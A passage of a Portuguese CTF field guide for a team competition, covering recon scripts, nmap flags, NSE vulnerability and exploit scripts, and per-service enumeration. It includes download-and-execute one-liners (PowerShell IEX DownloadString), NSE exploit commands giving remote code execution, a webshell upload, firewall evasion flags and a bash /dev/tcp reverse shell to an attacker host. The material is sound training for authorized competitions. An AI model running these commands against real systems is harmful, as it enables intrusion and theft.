CTF FIELD GUIDE

Recon · Enumeração · Pesquisa de CVE · Exploração · Privesc · Pivoting · Misc

FIAP NEXT 2026 - João Pedro Rabelo Oliveira

```
$ ./recon.sh $IP
$ ./web_enum.sh http://$IP alvo.ctf
$ python3 cve_lookup.py --nmap 02_detail.xml
$ bash linux_privesc.sh | tee enum.txt
PS> .\win_privesc.ps1
```

Índice

0. Como usar este guia **5**

Checklist rápido (cole na parede) . . . 5

Setup antes de começar (5 minutos que salvam horas) . . . 5

Divisão do time (CTF em equipe) . . . 5

1. Scripts - passo a passo **6**

1.1 Instalação no Kali (uma vez) . . . 6

1.2 recon.sh - recon automatizado . . . 6

1.3 web_enum.sh - enumeração web . . . 7

1.4 cve_lookup.py - pesquisa de CVE . . . 8

1.5 linux_privesc.sh - enum de privesc Linux . . . 8

1.6 win_privesc.ps1 - enum de privesc Windows . . . 9

2. Nmap a fundo **10**

2.1 Anatomia de um comando nmap (onde cada flag entra) . . . 10

2.2 Estados de porta (o que o nmap te devolve) . . . 10

2.3 Bloco 1 - Descoberta de host . . . 11

2.4 Bloco 2 - Técnicas de scan . . . 11

2.5 Bloco 3 - Portas . . . 11

2.6 Bloco 4 - Versão e sistema operacional . . . 12

2.7 Bloco 6 - Velocidade (timing) . . . 12

2.8 Evasão de firewall/IDS (quando portas aparecem "filtered") . . . 12

2.9 Bloco 7 - Saída e acompanhamento . . . 13

2.10 Lendo a saída real - linha por linha . . . 13

2.11 NSE - Nmap Scripting Engine . . . 13

2.12 NSE que ACHAM vulnerabilidade (categoria vuln) . . . 14

2.13 NSE que EXPLORAM (dão execução de comando) . . . 15

2.14 NSE de enumeração por porta (o que testar em cada serviço) . . . 16

2.15 NSE de força bruta . . . 16

2.16 Receitas prontas de CTF . . . 17

2.17 Descoberta de hosts e scanners alternativos . . . 17

3. Enumeração por serviço **18**

FTP (21) . . . 18

SSH (22) . . . 18

SMTP (25) . . . 18

DNS (53) . . . 18

HTTP/HTTPS (80, 443, 8080, 8443...) . . . 18

SMB (139/445) . . . 18

SNMP (161/udp) . . . 18

NFS (2049) . . . 18

LDAP (389) / Kerberos (88) - Active Directory . . . 19
Bancos de dados . . . 19
RDP (3389) / WinRM (5985) / VNC (5900) . . . 19
4. Web - fuzzing, diretórios e vulnerabilidades 20
4.1 SecLists - wordlists (instale e decore os caminhos) . . . 20
4.2 Primeiro olhar (2 minutos) . . . 20
4.3 ffuf - o canivete do fuzzing . . . 21
4.4 gobuster, feroxbuster, dirsearch . . . 21
4.5 Burp Suite (fluxo mínimo) . . . 21
4.6 Vulnerabilidades web - testes rápidos . . . 22
5. Pesquisa de CVE e exploits 24
6. Exploração 25
6.1 Metasploit . . . 25
6.2 msfvenom - geração de payloads . . . 25
6.3 Reverse shells . . . 26
6.4 Upgrade de shell (TTY completa) . . . 26
6.5 Transferência de arquivos . . . 27
6.6 Ataques de senha . . . 27
7. Privilege Escalation - Linux 29
7.1 Ferramentas automáticas . . . 29
7.2 Manual - em ordem de probabilidade . . . 29
7.3 Explorando o que achou . . . 29
8. Privilege Escalation - Windows 31
8.1 Ferramentas automáticas . . . 31
8.2 Manual . . . 31
8.3 Explorando . . . 31
9. Active Directory (se o CTF tiver domínio) 32
10. Pivoting e port forwarding 33
11. Misc de CTF (stego, crypto, forense, reversing) 34
Triagem de qualquer arquivo baixado . . . 34
Esteganografia . . . 34
Criptografia / encoding . . . 34
Forense / rede . . . 34
Reversing / pwn básico . . . 34
12. Correções nas minhas anotações 35
Apêndice - código completo dos scripts 36
recon.sh . . . 36
web_enum.sh . . . 38
cve_lookup.py . . . 39

linux_privesc.sh 41
win_privesc.ps1 44

0. Como usar este guia

Guia de campo para o CTF da FIAP NEXT (competição em time). A ordem segue o fluxo real de um ataque: **preparar → reconhecer → enumerar → pesquisar CVE → explorar → escalar → pivotar → achar a flag**. Cada ferramenta tem: o que faz, flags explicadas e comando pronto para copiar.

> DICA: Convenção usada no guia: `<IP>` = alvo, `<KALI>` = seu IP na VPN/rede do CTF (normalmente `tun0`: `ip -4 a show tun0`), `<PORTA>` = porta do listener. Substitua sempre.

Checklist rápido (cole na parede)

Fase	Pergunta	Comando-chave
Recon	Quais portas/serviços?	`./recon.sh <IP>` ou `nmap -p- --min-rate 5000 <IP>`
Enum	O que cada serviço expõe?	seção 3 (por porta)
Web	Diretórios, vhosts, parâmetros?	`./web_enum.sh http://<IP> dominio.ctf`
CVE	A versão tem exploit público?	`python3 cve_lookup.py --nmap 02_detail.xml`
Exploit	Consigo shell?	Metasploit / PoC / msfvenom + listener
Shell	Shell estável?	upgrade de TTY (seção 6.4)
Privesc	Como vira root/SYSTEM?	`linux_privesc.sh` / `win_privesc.ps1` + LinPEAS/winPEAS
Flag	Onde está?	`find / -iname '*flag*' 2>/dev/null`

Setup antes de começar (5 minutos que salvam horas)

```
# 1. Pasta por alvo + log de tudo que você digita (prova se precisar de writeup)
mkdir -p ~/ctf/alvo1 && cd ~/ctf/alvo1
script -a sessao.txt -t 2> sessao.log        # 'exit' encerra o log

# 2. tmux: uma janela pro scan, outra pro listener, outra pro exploit
tmux new -s ctf          # Ctrl+b c = nova janela | Ctrl+b n = próxima | Ctrl+b % = split

# 3. Seu IP na VPN do CTF
ip -4 a show tun0 | grep -oP 'inet \K[\d.]+'
export KALI=$(ip -4 a show tun0 | grep -oP 'inet \K[\d.]+'); echo $KALI
export IP=10.10.10.10

# 4. Hostname do desafio (se a página redireciona para dominio.ctf)
echo "$IP alvo.ctf" | sudo tee -a /etc/hosts

# 5. Wordlists instaladas
sudo apt update && sudo apt install -y seclists feroxbuster gobuster ffuf exploitdb
sudo gunzip /usr/share/wordlists/rockyou.txt.gz 2>/dev/null
```

Divisão do time (CTF em equipe)

- **1 pessoa no recon contínuo**: scans full TCP/UDP de todos os alvos, anota portas numa planilha/Notion compartilhado.
- **1–2 pessoas em web**: fuzzing, Burp, injeções.
- **1 pessoa em "misc"**: stego, crypto, forense, arquivos baixados.
- Regra de ouro: **travou 30 min no mesmo vetor → troca de alvo** e volta depois. Anote tudo que tentou.

1. Scripts - passo a passo

Código completo no apêndice e na pasta `scripts/` do repositório.

1.1 Instalação no Kali (uma vez)

```
git clone https://github.com/rabelojp41/NextFiap-CTF.git ~/ctf/repo
mkdir -p ~/ctf/tools && cp ~/ctf/repo/scripts/* ~/ctf/tools/ && cd ~/ctf/tools
chmod +x *.sh *.py
# deixa os scripts acessíveis de qualquer pasta
echo 'export PATH=$PATH:~/ctf/tools' >> ~/.zshrc && source ~/.zshrc
```

1.2 recon.sh - recon automatizado

O que faz, em ordem: testa ping → varre as 65535 portas TCP → roda detecção de versão + scripts padrão SÓ nas portas abertas → dispara NSE `vuln` e UDP top 20 em background → cruza as versões com o Exploit-DB (searchsploit) e com o NVD (cve_lookup.py) → executa enumeração específica por serviço (HTTP, SMB, FTP, SNMP, NFS, LDAP).

```
recon.sh <IP> [pasta_de_saida]
recon.sh 10.10.10.5                # salva em ./recon_10.10.10.5/
recon.sh 10.10.10.5 alvo_web       # salva em ./alvo_web/
```

Argumento	Obrigatório	Significado
`<IP>`	sim	IP ou hostname do alvo
`[pasta]`	não	onde salvar; padrão `recon_<IP>`

Arquivos gerados (lê nessa ordem):

Arquivo	Conteúdo	Por que olhar
`01_allports.*`	portas abertas (rápido)	ver a superfície total
`02_detail.nmap`	serviço + versão + scripts `-sC`	**o mais importante**
`02_detail.xml`	mesmo em XML	entrada do searchsploit/cve_lookup
`03_vuln.nmap`	NSE categoria vuln	CVEs que o nmap confirma
`04_udp.nmap`	UDP top 20	SNMP/TFTP/DNS esquecidos
`05_searchsploit.txt`	exploits do Exploit-DB	exploit pronto
`06_nvd.txt`	CVEs + CVSS + KEV	priorizar
`10..13_*_<porta>`	headers, robots, whatweb, diretórios	web
`20..23_*`	shares, null session, MS17-010	SMB
`30_ftp_ls.txt` / `31_ftp_dump/`	listagem/dump FTP anônimo	arquivos com credencial

Flags do nmap usadas dentro do script (para você entender e adaptar):

Flag	Fase	Significado
`-Pn`	todas	não faz ping antes; assume host vivo (CTF bloqueia ICMP)
`-p-`	1	todas as 65535 portas
`--min-rate 5000`	1	no mínimo 5000 pacotes/s (rápido; baixe para 1000 se perder portas)
`-T4`	1	timing agressivo
`--open`	1	mostra só portas abertas
`-oA nome`	1,2	salva .nmap, .gnmap e .xml de uma vez
`-sV`	2	detecção de versão (banner grabbing + probes)
`-sC`	2	scripts NSE da categoria default
`-O`	2	fingerprint de SO (precisa root)
`--script vuln`	3	scripts NSE que checam CVEs
`-sU --top-ports 20`	4	UDP nas 20 portas mais comuns

> ATENÇÃO: O script chama `sudo` sozinho se você não for root (SYN scan e `-O` exigem root). Rode `sudo -v` antes para não travar pedindo senha no meio.

Passo a passo no CTF:

1. `sudo -v` (cacheia a senha do sudo)
2. `recon.sh $IP` numa janela do tmux
3. Enquanto roda, abra outra janela e já comece a olhar `02_detail.nmap` quando aparecer
4. Viu porta web? Rode o `web_enum.sh` (1.3) em paralelo
5. Leia `05_searchsploit.txt` e `06_nvd.txt` - versão com exploit é o caminho mais curto
6. `wait` no fim do script garante que os scans de background terminaram

1.3 web_enum.sh - enumeração web

O que faz: headers e tecnologia → testa ~15 arquivos clássicos (`.git`, `.env`, backup, phpinfo...) → extrai comentários HTML e arquivos JS → fuzzing de diretórios com ffuf (ou gobuster) → fuzzing de VHOST se você passar o domínio → imprime checklist manual de injeções.

```
web_enum.sh <url> [dominio]
web_enum.sh http://10.10.10.5
web_enum.sh http://10.10.10.5:8080
web_enum.sh http://alvo.ctf alvo.ctf      # + descobre dev.alvo.ctf, admin.alvo.ctf...
```

Argumento	Significado
`<url>`	URL base com protocolo e porta (sem barra no final)
`[dominio]`	ativa busca de VHOST com `Host: FUZZ.dominio`

Flags do ffuf usadas no script:

Flag	Significado
`-u URL/FUZZ`	onde a palavra da wordlist entra
`-w lista`	wordlist (SecLists raft-medium por padrão)
`-e .php,.txt,.html,.bak`	testa cada palavra também com essas extensões
`-mc 200,204,301,...`	só mostra esses status
`-fc 404`	filtra 404
`-fs <tam>`	filtra respostas desse tamanho (usado no vhost para remover a página padrão)
`-t 60`	60 threads
`-s`	modo silencioso (só resultados)
`-o arq -of json`	salva em JSON

DICA: Se o ffuf devolver TUDO com 200, o servidor tem "soft 404". Rode uma vez, veja o tamanho repetido e adicione `-fs <tamanho>` (ou use `-ac`, auto-calibração).

1.4 cve_lookup.py - pesquisa de CVE

O que faz: consulta a API oficial do NVD (NIST) pelo produto/versão, mostra CVE, CVSS, descrição, **marca em vermelho as que estão no catálogo KEV da CISA** (exploradas no mundo real = quase sempre tem PoC), ordena por prioridade e opcionalmente cruza com o searchsploit. Lê direto o XML do nmap e traduz nomes (o nmap chama Webmin de "MiniServ", Apache de "Apache httpd").

```
python3 cve_lookup.py "vsftpd 2.3.4"
python3 cve_lookup.py "Apache HTTP Server 2.4.49" --max 10
python3 cve_lookup.py "webmin 1.910" --exploit
python3 cve_lookup.py --nmap recon_10.10.10.5/02_detail.xml
export NVD_API_KEY=sua_chave      # opcional: grátis em nvd.nist.gov/developers
```

Flag	Significado
`"termo"`	produto + versão entre aspas
`--nmap arq.xml`	lê todas as portas abertas com versão do XML do nmap
`--max N`	quantas CVEs mostrar por serviço (padrão 8)
`--exploit`	também roda searchsploit (automático com `--nmap`)
`NVD_API_KEY`	variável de ambiente; sem ela o script espera 6,5 s entre consultas (limite público do NVD)

ATENÇÃO: Busca por palavra-chave tem falso positivo. CVE listada ≠ alvo vulnerável. Sempre confirme a faixa de versões afetadas na descrição e, se existir, rode o `check` do Metasploit ou o script NSE específico antes de explorar.

1.5 linux_privesc.sh - enum de privesc Linux

Quando usar: logo depois de pegar shell como usuário comum. É leve, não precisa de internet no alvo e explica o que achou. Use junto com o LinPEAS (mais completo).

```
# Na Kali (pasta onde está o script):
python3 -m http.server 80
# No alvo:
cd /tmp && wget http://<KALI>/linux_privesc.sh   # ou: curl -O http://<KALI>/linux_privesc.sh
bash linux_privesc.sh 2>/dev/null | tee enum.txt
# Sem wget/curl no alvo? cole via base64:
base64 -w0 linux_privesc.sh            # (Kali) copia a saída
echo '<COLA>' | base64 -d > /tmp/e.sh  # (alvo)
```

Bloco	O que checa	Linha vermelha significa
IDENTIDADE	id, kernel, distro, grupos	grupo docker/lxd/disk/adm/shadow = privesc quase direto
SUDO	`sudo -n -l`, versão do sudo	NOPASSWD, LD_PRELOAD, (ALL,!root), binário do GTFOBins

Bloco	O que checa	Linha vermelha significa
SUID/SGID	`find -perm -4000`	binário SUID listado no GTFOBins; pkexec (PwnKit)
CAPABILITIES	`getcap -r /`	cap_setuid, dac_read_search etc.
CRON	crontab, cron.d, timers	script de cron que você consegue editar
ARQUIVOS	passwd/shadow/sudoers, arquivos graváveis	/etc/passwd gravável = root na hora
PATH	diretórios do PATH graváveis	PATH hijack
CREDENCIAIS	históricos, chaves, .env, wp-config, "password="	reuso de senha
REDE	portas em LISTEN	serviço só em 127.0.0.1 → port forward
CONTAINER/NFS	.dockerenv, docker.sock, no_root_squash	escape
KERNEL	versão + CVEs clássicas	último recurso

1.6 win_privesc.ps1 - enum de privesc Windows

```
# Kali: python3 -m http.server 80
# Alvo (cmd):
powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI>/win_privesc.ps1')"
# Alvo (PowerShell), salvando em disco:
iwr http://<KALI>/win_privesc.ps1 -OutFile C:\Windows\Temp\w.ps1; powershell -ep bypass -f C:\Windows\Temp\w.ps1
# Evil-WinRM:
upload win_privesc.ps1
.\win_privesc.ps1
```

Bloco	O que checa	Se acender
PRIVILÉGIOS	`whoami /priv`	SeImpersonate → PrintSpoofer/GodPotato = SYSTEM
AlwaysInstallElevated	HKLM+HKCU = 1	MSI do msfvenom roda como SYSTEM
SERVIÇOS	caminho sem aspas, exe gravável	trocar o binário / plantar `C:\Program.exe`
CREDENCIAIS	cmdkey, AutoLogon, histórico PS, unattend.xml	`runas /savecred` ou login direto
TAREFAS	tarefas não-Microsoft	script da tarefa gravável
AUTORUN	Run keys e Startup	binário gravável
SOFTWARE	programas + versão	jogue cada um no cve_lookup.py

`-ep bypass` = ExecutionPolicy Bypass: deixa rodar script não assinado **nessa execução** (não é bypass de segurança, é só política de conveniência).

2. Nmap a fundo

2.1 Anatomia de um comando nmap (onde cada flag entra)

A ordem das flags não importa para o nmap, mas pensar em "blocos" ajuda a montar o comando certo. Todo scan responde 7 perguntas:

```
sudo nmap \
  -Pn                   # 1. DESCOBERTA  -> o host está vivo? (-Pn = não pergunta, assume que sim)
  -sS                   # 2. TÉCNICA     -> como testar cada porta? (SYN)
  -p-                   # 3. PORTAS      -> quais? (todas as 65535)
  -sV -O                # 4. VERSÃO/SO   -> o que roda e qual sistema?
  -sC --script vuln     # 5. SCRIPTS NSE -> enumerar, testar vulns, explorar
  -T4 --min-rate 5000   # 6. VELOCIDADE  -> quão rápido?
  -oA scan              # 7. SAÍDA       -> salvar em .nmap/.xml/.gnmap
  10.10.10.5            #    ALVO        -> IP, faixa (10.10.10.0/24) ou -iL lista.txt
```

(Na linha de comando real, tudo vai numa linha só, ou com `\` no fim de cada linha e sem os comentários.)

Bloco	Pergunta	Se você omitir
1. Descoberta	o host está vivo?	nmap pinga antes; se o host não responder ping, ele **pula o alvo** ("Host seems down")
2. Técnica	como testar cada porta?	`-sS` (SYN) se for root, `-sT` se não for
3. Portas	quais portas?	só as **1000 mais comuns** - porta alta (ex.: 31337, 8443, 50000) passa despercebida
4. Versão/SO	o que roda nela?	mostra só o nome "provável" do serviço pela porta (ex.: 80 = http), sem versão
5. Scripts	testar algo a mais?	nenhum script roda
6. Velocidade	quão rápido?	`-T3` (normal)
7. Saída	onde salvar?	só na tela

2.2 Estados de porta (o que o nmap te devolve)

Estado	Significado	O que fazer
`open`	serviço aceitando conexão	enumerar
`closed`	host respondeu, mas nada escutando (RST)	host está vivo; ignore a porta
`filtered`	sem resposta / ICMP de bloqueio - firewall	tente `-sT`, `--source-port 53`, outra porta
`unfiltered`	só no `-sA`: chega, mas não sabe se abre	mapear regra de firewall
`open|filtered`	UDP/NULL/FIN/Xmas sem resposta	confirme com `-sV` naquela porta
`closed|filtered`	só no idle scan	raro

`--reason` mostra **por que** cada estado foi decidido (`syn-ack`, `reset`, `no-response`, `port-unreach`).

2.3 Bloco 1 - Descoberta de host

Flag	O que faz	Quando usar
`-sn`	só descobre hosts vivos, **não** varre portas	mapear a rede do CTF: `nmap -sn 10.10.10.0/24`
`-Pn`	não faz descoberta; trata todo alvo como vivo	**sempre em CTF** (Windows e firewalls bloqueiam ping)
`-PS22,80,443`	descoberta por TCP SYN nessas portas	rede que bloqueia ICMP
`-PA80`	descoberta por TCP ACK	passar por firewall stateless
`-PU53`	descoberta por UDP	
`-PE` / `-PP`	ICMP echo / timestamp	
`-PR`	ARP (automático em rede local)	mais confiável na LAN
`-n`	não resolve DNS reverso	deixa tudo mais rápido
`--dns-servers IP`	usa esse DNS	DC do AD como DNS
`-iL hosts.txt`	lê alvos de arquivo	vários alvos
`--exclude IP`	não varrer esse IP	excluir o seu próprio / o gateway

```
nmap -sn 10.10.10.0/24 -oG - | awk '/Up$/{print $2}' > vivos.txt     # lista só IPs vivos
```

2.4 Bloco 2 - Técnicas de scan

Flag	Nome	Como funciona	Observação
`-sS`	SYN / half-open	manda SYN, recebe SYN-ACK = aberta, manda RST (não completa a conexão)	padrão como root; rápido
`-sT`	Connect	completa o 3-way handshake	sem root; via proxychains **só funciona -sT**
`-sU`	UDP	manda UDP vazio/payload; sem resposta = open|filtered	lento; use `--top-ports 20` ou `-p 53,69,161`
`-sA`	ACK	descobre se há firewall stateful	não diz se está aberta
`-sN` / `-sF` / `-sX`	Null / FIN / Xmas	pacotes "estranhos"; porta fechada responde RST	não funciona em Windows
`-sW`	Window	variação do ACK	raro
`-sO`	IP protocol	quais protocolos IP (ICMP, GRE...) o host aceita	raro
`-sI zumbi`	Idle scan	scan "anônimo" usando outro host	raro em CTF

2.5 Bloco 3 - Portas

Flag	Exemplo	O que traz
`-p 22,80,443`	portas específicas	
`-p 1-1024`	faixa	
`-p-`	1 a 65535	**obrigatório em CTF** (flag em porta alta é clássico)
`-p U:53,161,T:22,80`	TCP e UDP juntos (com `-sU -sS`)	
`-p http,ssh`	por nome de serviço	
`--top-ports 100`	as N mais comuns	scan inicial rápido
`-F`	top 100	
`-r`	varre em ordem (não aleatório)	
`--exclude-ports 9100`	pula porta	impressora que imprime lixo

2.6 Bloco 4 - Versão e sistema operacional

Flag	O que faz	O que aparece na saída
`-sV`	conecta, lê banner, manda probes	coluna `VERSION`: `Apache httpd 2.4.49 ((Unix))`
`--version-intensity 0-9`	quantos probes (padrão 7)	9 = insiste mais
`--version-all`	= intensidade 9	serviço "unknown" vira identificado
`--version-light`	= intensidade 2	rápido
`-O`	fingerprint TCP/IP do SO (precisa root e 1 porta aberta + 1 fechada)	`OS details: Linux 5.0 - 5.14`
`--osscan-guess`	chuta mesmo sem certeza	`Aggressive OS guesses: ...`
`-A`	`-sV -O -sC --traceroute`	tudo junto (bom para alvo único)

DICA: A linha `Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows` no fim do `-sV` costuma revelar hostname e domínio. Anote - vai para o `/etc/hosts`.

2.7 Bloco 6 - Velocidade (timing)

Flag	Efeito
`-T0` / `-T1`	paranoid / sneaky - evasão de IDS (lentíssimo)
`-T2`	polite
`-T3`	normal (padrão)
`-T4`	aggressive - **padrão de CTF**
`-T5`	insane - perde portas em rede instável (VPN)
`--min-rate 5000`	no mínimo 5000 pacotes/s - o que mais acelera o `-p-`
`--max-rate 500`	teto (não derrubar a VPN do CTF)
`--max-retries 1`	menos retransmissões (mais rápido, menos preciso)
`--host-timeout 10m`	desiste do host após 10 min
`--scan-delay 1s`	espera entre probes (evasão/rate limit)

ATENÇÃO: Na VPN de CTF com muita gente, `--min-rate 10000` pode fazer você "perder" portas. Se o resultado parecer pequeno demais, repita com `--min-rate 1000`.

2.8 Evasão de firewall/IDS (quando portas aparecem "filtered")

Flag	O que faz
`-f` / `--mtu 16`	fragmenta pacotes
`-D RND:5` / `-D ip1,ip2,ME`	decoys: mistura seu IP com IPs falsos
`-g 53` / `--source-port 53`	porta de origem 53/88 - firewall mal feito libera "tráfego DNS/Kerberos"
`--data-length 25`	adiciona bytes aleatórios
`--ttl 64`	define TTL
`--spoof-mac 0`	MAC aleatório (rede local)
`-S IP -e tun0`	spoof de IP de origem (você não vê a resposta)
`--badsum`	checksum errado: se "responder", tem firewall/IDS no caminho

2.9 Bloco 7 - Saída e acompanhamento

Flag	Gera	Uso
`-oN arq.nmap`	texto normal	ler
`-oX arq.xml`	XML	`searchsploit --nmap`, `cve_lookup.py --nmap`, Metasploit `db_import`
`-oG arq.gnmap`	"grepável" (1 host por linha)	`grep`/`awk`
`-oA nome`	os três de uma vez	**sempre use**
`-v` / `-vv`	mostra portas assim que acha	não esperar o fim
`-d`	debug	entender travamento
`--open`	esconde closed/filtered	saída limpa
`--reason`	motivo de cada estado	
`--packet-trace`	mostra cada pacote	estudar/depurar
`--stats-every 30s`	progresso periódico	scans longos (ou aperte **Enter** durante o scan)
`--resume arq.gnmap`	continua scan interrompido	
`-e tun0`	força a interface	quando o nmap sai pela interface errada

```
grep -oP '\d+/open/tcp//[^/]*' scan.gnmap               # porta/serviço de cada host
xsltproc scan.xml -o scan.html                          # relatório HTML bonito
```

2.10 Lendo a saída real - linha por linha

```
$ sudo nmap -Pn -sCV -p21,22,80,445 10.10.10.5
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)         <- (1) script ftp-anon: entra sem senha!
|_-rw-r--r--    1 0  0   1024 Oct 20 note.txt                  <- (2) arquivo listado: baixe
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5      <- (3) versão -> pesquise; "Ubuntu 4ubuntu0.5" = ↵
    Ubuntu 20.04
| ssh-hostkey:
|   3072 aa:bb:...(RSA)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Painel Interno - Login                            <- (4) título: tem painel de login
| http-robots.txt: 1 disallowed entry
|_/backup_2024/                                                 <- (5) diretório escondido no robots.txt
|_http-server-header: Apache/2.4.41 (Ubuntu)
445/tcp open  netbios-ssn Samba smbd 4.6.2
Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required                 <- (6) relay possível (AD)
|_nbstat: NetBIOS name: SRV01, NetBIOS user: <unknown>         <- (7) hostname
Service Info: Host: SRV01; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Linhas começando com `|` e `|_` são **saída de scripts NSE** (o `|_` é a última linha daquele script). Tudo que vier ali é pista.

2.11 NSE - Nmap Scripting Engine

Os scripts ficam em `/usr/share/nmap/scripts/*.nse` (~600). Cada um pertence a uma ou mais **categorias**:

Categoria	O que contém	Risco
`default` (`-sC`)	enumeração segura e útil	baixo
`safe`	não derruba nada	baixo
`discovery`	coleta informação (shares, títulos, usuários)	baixo
`version`	ajuda o `-sV`	baixo
`auth`	testa autenticação fraca/anônima	baixo
`vuln`	**checa CVEs específicas**	médio

Categoria	O que contém	Risco
`exploit`	**explora de fato** a falha	alto
`brute`	força bruta de login	médio (lockout)
`intrusive`	pode travar o serviço	alto
`dos`	derruba o serviço - **não use em CTF**	-
`malware`	detecta backdoors conhecidas	baixo
`external`	consulta serviços externos (whois, etc.)	-
`fuzzer`	manda lixo para achar crash	alto

Como selecionar scripts (`--script`):

```
--script ftp-anon                       # um script
--script ftp-anon,ftp-syst              # vários
--script "smb-vuln-*"                   # wildcard (use aspas)
--script vuln                           # categoria inteira
--script "vuln and safe"                # expressões booleanas
--script "default or discovery"
--script "http-* and not (brute or dos)"
--script /caminho/meu-script.nse        # script baixado
```

Como estudar e testar um script antes de usar:

```
ls /usr/share/nmap/scripts/ | grep -i vuln          # listar por nome
grep -l '"exploit"' /usr/share/nmap/scripts/*.nse   # listar por categoria
nmap --script-help smb-vuln-ms17-010                # descrição + categorias + link
less /usr/share/nmap/scripts/http-shellshock.nse    # ler args no cabeçalho (@args)
nmap -p80 --script http-title --script-trace $IP    # ver o tráfego do script (depurar)
sudo nmap --script-updatedb                         # após adicionar scripts novos
```

Passando argumentos (`--script-args`):

```
--script-args 'chave=valor,chave2=valor2'
--script-args 'http-shellshock.uri=/cgi-bin/status,http-shellshock.cmd=id'
--script-args 'userdb=users.txt,passdb=senhas.txt'     # para todos os *-brute
--script-args 'smbusername=user,smbpassword=senha'     # scripts SMB autenticados
--script-args-file args.txt                            # um arg por linha
```

2.12 NSE que ACHAM vulnerabilidade (categoria vuln)

```
sudo nmap -Pn -sV --script vuln -p <portas> $IP          # roda todos de uma vez (demora)
nmap -sV --script vulners $IP                            # CVEs por versão (consulta vulners.com)
nmap -sV --script vulners --script-args mincvss=7.0 $IP  # só CVSS >= 7
```

Script	Detecta	Porta
`smb-vuln-ms17-010`	EternalBlue (WannaCry)	445
`smb-vuln-ms08-067`	MS08-067 (XP/2003) - use `--script-args unsafe=1`	445
`smb-vuln-cve-2017-7494`	SambaCry (Samba 3.5–4.6)	445
`smb-vuln-ms10-054` / `ms10-061`	SMB antigos	445
`smb-double-pulsar-backdoor`	implante DoublePulsar	445
`rdp-vuln-ms12-020`	RDP MS12-020	3389
`ssl-heartbleed`	Heartbleed - vaza memória (senhas/chaves)	443
`ssl-poodle` / `ssl-ccs-injection`	TLS fraco	443
`http-shellshock`	Shellshock em CGI	80
`http-vuln-cve2017-5638`	Apache Struts2 RCE	8080
`http-vuln-cve2014-3704`	Drupalgeddon (SQLi Drupal 7)	80
`http-vuln-cve2015-1635`	MS15-034 IIS HTTP.sys	80
`http-vuln-cve2012-1823`	PHP-CGI argument injection	80

Script	Detecta	Porta
`http-vuln-cve2011-3192`	Apache "Killer" range	80
`http-sql-injection`	SQLi em parâmetros achados por crawling	80
`http-stored-xss` / `http-dombased-xss` / `http-csrf`	XSS / CSRF	80
`http-passwd`	directory traversal lendo /etc/passwd	80
`http-git` / `http-config-backup` / `http-backup-finder`	.git exposto, `config.php~`, `.bak`	80
`http-default-accounts`	login padrão (Tomcat, Jenkins, roteadores...)	80/8080
`mysql-vuln-cve2012-2122`	bypass de senha MySQL antigo	3306
`smtp-vuln-cve2010-4344`	Exim heap overflow	25
`ftp-vsftpd-backdoor` / `ftp-proftpd-backdoor`	backdoors famosas	21
`irc-unrealircd-backdoor`	UnrealIRCd 3.2.8.1	6667
`distcc-cve2004-2687`	distcc RCE	3632

2.13 NSE que EXPLORAM (dão execução de comando)

> ATENÇÃO: Estes já executam código no alvo. Use só no escopo do CTF. Primeiro confirme com o modo de detecção (sem `cmd`), depois mande o comando.

```
# vsftpd 2.3.4 backdoor -> executa comando como root
nmap -p21 --script ftp-vsftpd-backdoor --script-args ftp-vsftpd-backdoor.cmd="id" $IP

# Shellshock -> RCE no CGI
nmap -p80 --script http-shellshock \
  --script-args http-shellshock.uri=/cgi-bin/status,http-shellshock.cmd="id" $IP

# distcc -> RCE
nmap -p3632 --script distcc-cve2004-2687 --script-args distcc-cve2004-2687.cmd="id" $IP

# UnrealIRCd backdoor -> RCE
nmap -p6667 --script irc-unrealircd-backdoor --script-args irc-unrealircd-backdoor.command="id" $IP

# MSSQL com credencial -> comando via xp_cmdshell
nmap -p1433 --script ms-sql-xp-cmdshell \
  --script-args mssql.username=sa,mssql.password=senha,ms-sql-xp-cmdshell.cmd="whoami" $IP

# HTTP PUT habilitado -> sobe webshell
nmap -p80 --script http-put --script-args http-put.url=/uploads/s.php,http-put.file=shell.php $IP

# Heartbleed -> despeja memória do servidor (procure senhas/cookies)
nmap -p443 --script ssl-heartbleed --script-args ssl-heartbleed.protocols=TLSv1.2 -d $IP
```

Para trocar o `id` por uma reverse shell, use o payload da seção 6.3, ex.: `cmd="bash -c 'bash -i >& /dev/tcp/<KALI>/4444 0>&1'"`, com o listener `nc -lvnp 4444` aberto.

2.14 NSE de enumeração por porta (o que testar em cada serviço)

Porta	Serviço	Scripts	O que trazem
21	FTP	`ftp-anon`, `ftp-syst`, `ftp-bounce`	login anônimo + listagem; SO do servidor
22	SSH	`ssh2-enum-algos`, `ssh-auth-methods --script-args ssh.user=root`, `ssh-hostkey`	se aceita senha ou só chave
25/587	SMTP	`smtp-commands`, `smtp-enum-users`, `smtp-open-relay`, `smtp-ntlm-info`	usuários válidos (VRFY/RCPT)
53	DNS	`dns-zone-transfer --script-args dns-zone-transfer.domain=alvo.ctf`, `dns-brute`, `dns-nsid`	todos os registros do domínio
80/443	HTTP	`http-enum`, `http-title`, `http-headers`, `http-methods`, `http-robots.txt`, `http-auth-finder`, `http-wordpress-enum`, `http-wordpress-users`, `http-userdir-enum`, `http-ls`	diretórios conhecidos, métodos (PUT/DELETE), CMS, login
443	TLS	`ssl-cert`, `ssl-enum-ciphers`	**nomes no certificado (SAN) = vhosts!**
110/143	POP3/IMAP	`pop3-capabilities`, `imap-capabilities`, `*-ntlm-info`	
111	RPC	`rpcinfo`	NFS/mountd
2049	NFS	`nfs-showmount`, `nfs-ls`, `nfs-statfs`	shares montáveis e arquivos
135	MSRPC	`msrpc-enum`	
139/445	SMB	`smb-os-discovery`, `smb-protocols`, `smb2-security-mode`, `smb-enum-shares`, `smb-enum-users`, `smb-enum-domains`, `smb-ls`	SO, domínio, shares, usuários, SMBv1
161/udp	SNMP	`snmp-info`, `snmp-sysdescr`, `snmp-processes`, `snmp-win32-users`, `snmp-netstat`, `snmp-brute`	processos (às vezes com senha), usuários
389/636	LDAP	`ldap-rootdse`, `ldap-search --script-args ldap.qfilter=users`	nome do domínio, DC, usuários
